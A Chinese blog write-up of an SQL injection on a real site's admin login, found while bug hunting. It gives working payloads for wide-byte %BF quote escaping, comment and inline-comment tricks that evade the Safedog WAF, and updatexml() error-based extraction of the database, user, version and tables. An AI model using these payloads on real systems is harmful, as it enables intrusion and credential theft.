前言
最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了 。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台 。

文章插图
2.1 注入测试
bp抓包,加单引号,没有什么用

文章插图
很显然,这里开启了php的魔术函数,把单引号自动转义了
2.1.1 绕过第一式:汉字双字节编码绕过单引号
当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过
例如构造Payload为:
username=%BF' %BF解码之后是中文乱码
此时发送数据包

文章插图

文章插图
可以看到SQL语句变成:
SELECT * FROM `sl_admin` WHERE `username`='¿'' 成功过滤单引号
程序报错,考虑使用爆错注入
3.1 获取数据库
既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容
第一步是注出数据库,版本,用户等基本信息
先把Payload放出来,再进行讲解
Payload:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)# 
文章插图
数据库名不能放出来,在本文中用test_db代替
用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来
数据库:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#用户:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#版本:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)# 3.1.1 绕过第二式:注释
再第一个绕过那里,可以看到SQL语句后面还多了个单引号 。这个单引号要么把它闭合,要么就注释掉 。由于这里开启了魔术函数,所以选择注释 。
我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了 。
注释成功,很简单,没什么好说的

文章插图
3.1.2 绕过第三式:内联注释绕过空格
安全狗把空格干掉了
空格或者加号都会被干掉

文章插图
当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过
username=%BF/**/and/**/1'
文章插图
4.1 获取表名
【过安全狗 记一次艰难的SQL注入】再得到数据库后要获取表名
先把Payload放出来
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
文章插图
管理员表用admin代替,其他表用test_table代替
4.1.1 绕过第四式:select过安全狗
注表名需要用select语句,因此我最开始写的Payload是这样的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)# 很快啊,被安全狗拦了

文章插图
这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章
https://www.cnblogs.com/w-i-n-d/p/8649590.html
在该文中,用 /*!50000%53elect*/ 代替select实现绕过
推荐阅读
- 如何挑选紫叶生菜
- 杨过后期为什么不拿剑 杨过在第三次华山论剑后获得了什么称号
- 鬣狗捕食角马 角马被鬣狗活吃会有愤怒吗
- 过水门为什么是最高礼遇
- 使用Apriori进行关联分析
- 阴阳师御魂超过6000上限还能再刷吗?阴阳师御魂上限怎么到7000?
- syslog强大而安全的日志处理系统
- OPPO|开机无广告的65英寸OPPO智能电视K9x卖2199元 李开新:性价比没输过
- 红茶怎么发酵全过程[红茶]
- 扭腰了就少吃辣
